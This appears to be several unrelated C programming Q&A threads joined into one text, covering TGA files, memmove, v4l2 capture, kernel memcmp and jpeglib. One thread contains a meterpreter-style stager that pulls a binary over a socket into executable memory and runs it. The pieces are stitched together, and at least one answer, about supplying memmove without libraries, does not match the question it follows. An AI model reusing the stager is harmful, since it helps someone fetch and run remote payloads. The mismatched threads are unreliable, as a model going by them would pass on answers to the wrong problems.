I am exploring .tga files.
I have fully working code that looks like this:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdbool.h>
const int letterHeight = 34;
const int spacer = 5;
typedef struct{
uint8_t idlength;
uint8_t colourmaptype;
uint8_t datatypecode;
uint16_t colourmaporigin;
uint16_t colourmaplength;
uint8_t colourmapdepth;
uint16_t x_origin;
uint16_t y_origin;
uint16_t width;
uint16_t height;
uint8_t bitsperpixel;
uint8_t imagedescriptor;
} TGA_Header;
typedef struct
{
uint8_t B;
uint8_t G;
uint8_t R;
} Pixel;
typedef struct{
TGA_Header header;
Pixel* pixels;
int width;
int height;
} Image;
void readHeader(TGA_Header* header, FILE* input_F){
fread(&header->idlength, sizeof(header->idlength), 1, input_F);
fread(&header->colourmaptype, sizeof(header->colourmaptype), 1, input_F);
fread(&header->datatypecode, sizeof(header->datatypecode), 1, input_F);
fread(&header->colourmaporigin, sizeof(header->colourmaporigin), 1, input_F);
fread(&header->colourmaplength, sizeof(header->colourmaplength), 1, input_F);
fread(&header->colourmapdepth, sizeof(header->colourmapdepth), 1, input_F);
fread(&header->x_origin, sizeof(header->x_origin), 1, input_F);
fread(&header->y_origin, sizeof(header->y_origin), 1, input_F);
fread(&header->width, sizeof(header->width), 1, input_F);
fread(&header->height, sizeof(header->height), 1, input_F);
fread(&header->bitsperpixel, sizeof(header->bitsperpixel), 1, input_F);
fread(&header->imagedescriptor, sizeof(header->imagedescriptor), 1, input_F);
}
void writeHeader(TGA_Header* header, FILE* output_F){
fwrite(&header->idlength, sizeof(header->idlength), 1, output_F);
fwrite(&header->colourmaptype, sizeof(header->colourmaptype), 1, output_F);
fwrite(&header->datatypecode, sizeof(header->datatypecode), 1, output_F);
fwrite(&header->colourmaporigin, sizeof(header->colourmaporigin), 1, output_F);
fwrite(&header->colourmaplength, sizeof(header->colourmaplength), 1, output_F);
fwrite(&header->colourmapdepth, sizeof(header->colourmapdepth), 1, output_F);
fwrite(&header->x_origin, sizeof(header->x_origin), 1, output_F);
fwrite(&header->y_origin, sizeof(header->y_origin), 1, output_F);
fwrite(&header->width, sizeof(header->width), 1, output_F);
fwrite(&header->height, sizeof(header->height), 1, output_F);
fwrite(&header->bitsperpixel, sizeof(header->bitsperpixel), 1, output_F);
fwrite(&header->imagedescriptor, sizeof(header->imagedescriptor), 1, output_F);
}
void image_load(Image* image, const char* path){
FILE* input_F = fopen(path, "rb");
readHeader(&image->header, input_F);
image->width = image->header.width;
image->height = image->header.height;
image->pixels = (Pixel*) malloc(sizeof(Pixel) * image->header.width * image->header.height);
fread(image->pixels, sizeof(Pixel), image->header.width * image->header.height, input_F);
fclose(input_F);
}
void image_create(Image* image, const char* path){
FILE* output_F = fopen(path, "wb");
writeHeader(&image->header, output_F);
fwrite(image->pixels, sizeof(Pixel), image->header.width * image->header.height, output_F);
fclose(output_F);
}
void load_letters(Image (*letters)[26], const char* f){
char path[101];
for(int i=0; i<26; i++){
strcpy(path, f);
strcat(path, "/");
char c[2] = {(char)(65+i), '\0'};
strcat(path, c);
strcat(path, ".tga\0");
image_load(&(*letters)[i], &path[0]);
}
}
void drawLetter(Image* image, Image* letter, int X, int Y){
Y += letterHeight - letter->height;
int letter_y = letter->height;
int letter_x = letter->width;
int image_x = image->width;
for(int y=0; y<letter_y; y++){
for(int x=0; x<letter_x; x++){
if(letter->pixels[y*letter_x+x].R != (uint8_t)0 || letter->pixels[y*letter_x+x].G != (uint8_t)0 || letter->pixels[y*letter_x+x].B != (uint8_t)0){
image->pixels[(y+Y)*image_x+(x+X)] = letter->pixels[y*letter_x+x];
}
}
}
}
void drawString(Image* image, Image (*letters)[26], char (*text)[101], int Y){
int dejToSzajzym = 0;
for(int i=0; i<strlen((*text)); i++){
dejToSzajzym += (*letters)[(int)(*text)[i] - 65].width;
}
dejToSzajzym = dejToSzajzym/2;
dejToSzajzym = image->width/2 - dejToSzajzym;
for(int i=0; i<strlen(*text); i++){
if((*text)[i] != ' '){
drawLetter(image, &(*letters)[(int)(*text)[i] - 65], dejToSzajzym, Y);
dejToSzajzym += (*letters)[(int)(*text)[i] - 65].width;
}else{
dejToSzajzym += 10;
}
}
}
int main(int argc, char* argv[]){
Image* image;
Image letters[26];
image_load(image, "img1.tga");
load_letters(&letters, "font");
/*
char buffer[100];
*/
drawString(image, &letters, "LOL", 5);
image_create(image, "image.tga");
free(image->pixels);
image->pixels = NULL;
for(int i=0; i<26; i++){
free(letters[i].pixels);
letters[i].pixels = NULL;
}
return 0;
}
But when I write the declaration of buffer as shown (could be anywhere in main) the program immediately breaks.
It doesn´t even need to do anything.
error:
Unable to open 'memmove-vec-unaligned-erms.S': Unable to read file '/build/glibc-YYA7BZ/glibc-
2.31/sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S'
(Error: Unable to resolve non-existing file '/build/glibc-YYA7BZ/glibc-2.31/sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S').
BTW: Isn't there any easier way to copy the header data?
As noted by Retired Ninja in their comment, your primary problem is that Image *image; doesn't initialize image to point anywhere in particular. You pass the uninitialized pointer to image_load(), which then scribbles on memory — and you've no idea where. This is all undefined behaviour. Adding the variable buffer moves something around and changes the behaviour, but it is still undefined — anything goes and any (mis-)behaviour is valid, especially crashes. You must fix that! One way would be to change the definition to Image image; and pass &image to image_load() and the other functions that expect an Image *.
BTW: Isn't there any easier way to copy the header data?
Yes, there is, and there are a couple of ways to do it. The fundamental observation is that you could write the header with fwrite(header, sizeof(*header), 1, fp), and read it with fread(header, sizeof(*header), 1, fp).
However, with the data structure as currently defined, there is some padding in the structure — one byte after datatypecode and another after colourmapdepth. If you moved colourmapdepth after datatypecode (or anywhere near the start of the structure before the first uint16_t member), you'd save two bytes in memory and have no padding bytes on disk. OTOH, there's not a lot of harm in the padding bytes being read/written. It isn't clear to me whether you're dealing with an externally imposed header structure or whether you're free to modify it.
The best way to avoid padding in a structure is to put the most stringently aligned types at the start of the structure (uint16_t is more stringently aligned than uint8_t) and less stringently aligned types at the end. That normally avoids holes in the structure. There can still be padding at the end of the structure even so.
The compiler is attempting to call memmove and can't find it because you're running with no libraries.
Assuming you're doing what I think you're doing, the best way is to provide it. In another file, declare memmove like so.
void *memmove(void *sm, const void *tm, size_t n)
{
char *s = (char *)sm;
const char *t = (const char *)tm;
if (s > t) {
s += n;
t += n;
while (n--)
*--s = *--t;
} else {
while (n--)
*s++ = *t++;
}
return sm;
}
You may have to fiddle with the declaration to get the compiler to accept it.
Note that this is not the best possible memmove, it's the simplest. If it's too slow, write or obtain a faster one.
I wanted to retrieve an exe file from a socket and run it right from the buffer in C . I've found this little loader in github which was written to load meterpreter:
https://github.com/rsmudge/metasploit-loader/blob/master/src/main.c
As far as i know it works like this:
it gets the size of the exe file and allocates a buffer with the size + 5.
then it downloads the file using a socket and saves it in the buffer.
and casts the buffer to a pointer to function and simply calls the function.
That's what is does from a high abstraction. Though I don't exactly know what buffer[0] = 0xBF; actually does.
I've tried to change the code to run my exe file like this (the rest of functions are exactly the same as the original code):
//receive the agent data
int recv_all(SOCKET my_socket, void* buffer, int len) {
int tret = 0;
int nret = 0;
char* startb = (char *) buffer;
while (tret < len) {
nret = recv(my_socket, (char *)startb, len - tret, 0);
if (nret == SOCKET_ERROR)
punt(my_socket, "Could not receive data");
startb += nret;
tret += nret;
}
return tret; // length of received Data
}
int main(int argc, char *argv[]){
char host[] = "localhost";
int port = 4444;
int count;
ULONG32 size = 624128; //size of my file hard coded
char *buffer;
void (* function)();
SOCKET my_socket;
winsock_init();
my_socket = wsconnect(host, port);
buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (buffer == NULL){
punt(my_socket, "could not allocate buffer");
}
buffer[0] = 0xBF;
memcpy(buffer + 1, &my_socket, 4);
count = recv_all(my_socket, buffer + 5, size);
function = (void (*)())buffer;
function();
return 0;
}
As you can see I've just hard coded the size of my file in bytes.
Here is how I send the file:
f = open("my_file.exe", "rb")
l = f.read(1024)
while(l):
c.send(l)
l = f.read(1024)
f.close()
But after running the C code I get "Access violation":
Unhandled exception at 0x0069000C in laoder.exe: 0xC0000005: Access violation writing location 0x00D20000.
I'd appreciate any help on why this happens and what I am doing wrong.
I'm trying to write out the memory that I get from a video 4 linux 2 example program. However, it's not working. I'm getting a segmentation fault when trying to access the pointer. I hope this isn't a stupid mistake because I've spent a couple of days on it. Here is the code: (It's not formatted because there were too many conflicts with html.)
My computer is using the mmap branch of execution. It seg faults in writeFile() at this line:
mRGB = mScreen->pixels[pixel];
I'm using the v4l2 example code found here
http://linuxtv.org/downloads/v4l-dvb-apis/capture-example.html
Here are the changes I made:
at line 497 I changed
fmt.fmt.pix.pixelformat = V4L2_PIX_FMT_RGB332;
fmt.fmt.pix.field = V4L2_FIELD_NONE;
I also added a line to main(...) at around line 704 somewhere.
close_device();
writeFile();
fprintf(stderr, "\n");
and I've inserted a writeFile() method specified below:
typedef struct Screen {
unsigned char pixels[640*480];
} Screen;
static void writeFile() {
const int dimx = 640, dimy = 480;
int mNumPixels = dimx * dimy;
Screen *mScreen;
int i, pixel;
FILE *file = fopen("output","w");
if (file == NULL) return;
/* shift the bits around */
(void)fprintf(file, "P6\n%d %d\n255\n", dimx, dimy);
for (i = 1; i < n_buffers; i++) {
mScreen = buffers[i].start;
printf("\npointer to mScreen is: %p\n", mScreen);
for (pixel = 0; pixel < 640*480; pixel++) {
static unsigned char color[3];
unsigned char mRGB = 0;
printf("%d:%x\n", pixel, mRGB);
fflush(stdout);
mRGB = mScreen->pixels[pixel];
color[0] = (mRGB & 0xE0) >> 5;
color[1] = (mRGB & 0x1D) >> 2;
color[2] = mRGB & 0x03;
fwrite(color, sizeof(unsigned char)*3, 1, file);
}
}
fclose(file);
}
uninit_device() of the sample code modifies the available memory such that the pointer isn't available any more. The writeFile() method must be called before this method/function.
I am working on a kernel module and I need to compare two buffers to find out if they are equivalent. I am using the memcmp function defined in the Linux kernel to do so. My first buffer is like this:
cache_buffer = (unsigned char *)vmalloc(4097);
cache_buffer[4096] = '/0';
The second buffer is from a page using the page_address() function.
page = bio_page(bio);
kmap(page);
write_buffer = (char *)page_address(page);
kunmap(page);
I have printed the contents of both buffers before hand and not only to they print correctly, but they also have the same content. So next, I do this:
result = memcmp(write_buffer, cache_buffer, 2048); // only comparing up to 2048 positions
This causes the kernel to freeze up and I cannot figure out why. I checked the implementation of memcmp and saw nothing that would cause the freeze. Can anyone suggest a cause?
Here is the memcmp implementation:
int memcmp(const void *cs, const void *ct, size_t count)
{
const unsigned char *su1, *su2;
int res = 0;
for (su1 = cs, su2 = ct; 0 < count; ++su1, ++su2, count--)
if ((res = *su1 - *su2) != 0)
break;
return res;
}
EDIT: The function causing the freeze is memcmp. When I commented it out, everything worked. Also, when I did I memcmp as follows
memcmp(write_buffer, write_buffer, 2048); //comparing two write_buffers
Everything worked as well. Only when I throw the cache_buffer into the mix is when I get the error. Also, above is a simplification of my actual code. Here is the entire function:
static int compare_data(sector_t location, struct bio * bio, struct cache_c * dmc)
{
struct dm_io_region where;
unsigned long bits;
int segno;
struct bio_vec * bvec;
struct page * page;
unsigned char * cache_data;
char * temp_data;
char * write_data;
int result, length, i;
cache_data = (unsigned char *)vmalloc((dmc->block_size * 512) + 1);
where.bdev = dmc->cache_dev->bdev;
where.count = dmc->block_size;
where.sector = location << dmc->block_shift;
printk(KERN_DEBUG "place: %llu\n", where.sector);
dm_io_sync_vm(1, &where, READ, cache_data, &bits, dmc);
length = 0;
bio_for_each_segment(bvec, bio, segno)
{
if(segno == 0)
{
page = bio_page(bio);
kmap(page);
write_data = (char *)page_address(page);
//kunmap(page);
length += bvec->bv_len;
}
else
{
page = bio_page(bio);
kmap(page);
temp_data = strcat(write_data, (char *)page_address(page));
//kunmap(page);
write_data = temp_data;
length += bvec->bv_len;
}
}
printk(KERN_INFO "length: %u\n", length);
cache_data[dmc->block_size * 512] = '\0';
for(i = 0; i < 2048; i++)
{
printk("%c", write_data[i]);
}
printk("\n");
for(i = 0; i < 2048; i++)
{
printk("%c", cache_data[i]);
}
printk("\n");
result = memcmp(write_data, cache_data, length);
return result;
}
EDIT #2: Sorry guys. The problem was not memcmp. It was the result of memcmp. When ever it returned a positive or negative number, the function that called my function would play with some pointers, one of which was uninitialized. I don't know why I didn't realize it before. Thanks for trying to help though!
I'm no kernel expert, but I would assume you need to keep this memory mapped while doing the comparison? In other words, don't call kunmap until after the memcmp is complete. I would presume that calling it before will result in write_buffer pointing to a page which is no longer mapped.
Taking your code in the other question, here is a rough attempt at incremental. Still needs some cleanup, I'm sure:
static int compare_data(sector_t location, struct bio * bio, struct cache_c * dmc)
{
struct dm_io_region where;
unsigned long bits;
int segno;
struct bio_vec * bvec;
struct page * page;
unsigned char * cache_data;
char * temp_data;
char * write_data;
int length, i;
int result = 0;
size_t position = 0;
size_t max_size = (dmc->block_size * 512) + 1;
cache_data = (unsigned char *)vmalloc(max_size);
where.bdev = dmc->cache_dev->bdev;
where.count = dmc->block_size;
where.sector = location << dmc->block_shift;
printk(KERN_DEBUG "place: %llu\n", where.sector);
dm_io_sync_vm(1, &where, READ, cache_data, &bits, dmc);
bio_for_each_segment(bvec, bio, segno)
{
// Map the page into memory
page = bio_page(bio);
write_data = (char *)kmap(page);
length = bvec->bv_len;
// Make sure we don't go past the end
if(position >= max_size)
break;
if(position + length > max_size)
length = max_size - position;
// Compare the data
result = memcmp(write_data, cache_data + position, length);
position += length;
kunmap(page);
// If the memory is not equal, bail out now and return the result
if(result != 0)
break;
}
cache_data[dmc->block_size * 512] = '\0';
return result;
}
I have JPEG compressed byte stream stored in a variable called "Image" and I want to convert this byte stream to RGB.
Eg: unsigned char *Image;
My question is: Is there any way to pass "Image" to jpeg_stdio_src() to get the RGB color values?
Can anyone tell me how I could use jpeglib library to get RGB from byte stream "Image"?
Thank you
Try something like this. This uses an object currImage to store the results (not declared here).
typedef struct {
struct jpeg_source_mgr pub; // public fields
JOCTET * buffer; // start of buffer
boolean start_of_file; // have we gotten any data yet?
} my_source_mgr;
typedef my_source_mgr * my_src_ptr;
static void jpg_memInitSource(j_decompress_ptr cinfo)
{
my_src_ptr src = (my_src_ptr) cinfo->src;
src->start_of_file = true;
}
static boolean jpg_memFillInputBuffer(j_decompress_ptr cinfo)
{
my_src_ptr src = (my_src_ptr) cinfo->src;
src->start_of_file = FALSE;
return TRUE;
}
static void jpg_memSkipInputData(j_decompress_ptr cinfo, long num_bytes)
{
my_src_ptr src = (my_src_ptr) cinfo->src;
if (num_bytes > 0) {
src->pub.next_input_byte += (size_t) num_bytes;
src->pub.bytes_in_buffer -= (size_t) num_bytes;
}
}
static void jpg_memTermSource(j_decompress_ptr cinfo)
{
// no work necessary here
}
void decompressJpeg(uint8 const *compressed, size_t len)
{
struct jpeg_decompress_struct cinfo;
struct jpeg_error_mgr jerr;
my_src_ptr src;
// ToDo: change error handling to work with our return codes
cinfo.err = jpeg_std_error(&jerr);
jpeg_create_decompress(&cinfo);
cinfo.src = (struct jpeg_source_mgr *)
(*cinfo.mem->alloc_small) ((j_common_ptr) &cinfo, JPOOL_PERMANENT,
sizeof(my_source_mgr));
src = (my_src_ptr) cinfo.src;
src->buffer = (JOCTET *)compressed;
src->pub.init_source = jpg_memInitSource;
src->pub.fill_input_buffer = jpg_memFillInputBuffer;
src->pub.skip_input_data = jpg_memSkipInputData;
src->pub.resync_to_restart = jpeg_resync_to_restart;
src->pub.term_source = jpg_memTermSource;
src->pub.bytes_in_buffer = len;
src->pub.next_input_byte = compressed;
jpeg_read_header(&cinfo, true);
jpeg_start_decompress(&cinfo);
// check: cinfo.out_color_space == JCS_RGB
currImage.setSize(
(int)cinfo.output_width, (int)cinfo.output_height));
size_t w = currImage.getWidth() * 3;
uint8 *p = (uint8*)currImage.getPixels();
while (cinfo.output_scanline < cinfo.output_height) {
jpeg_read_scanlines(&cinfo, &p, 1);
p += w;
}
jpeg_finish_decompress(&cinfo); // Do this even under error conditions
jpeg_destroy_decompress(&cinfo); // Do this even under error conditions
}
EDIT: Added some of the missing support code. Thanks, Edu Filipe!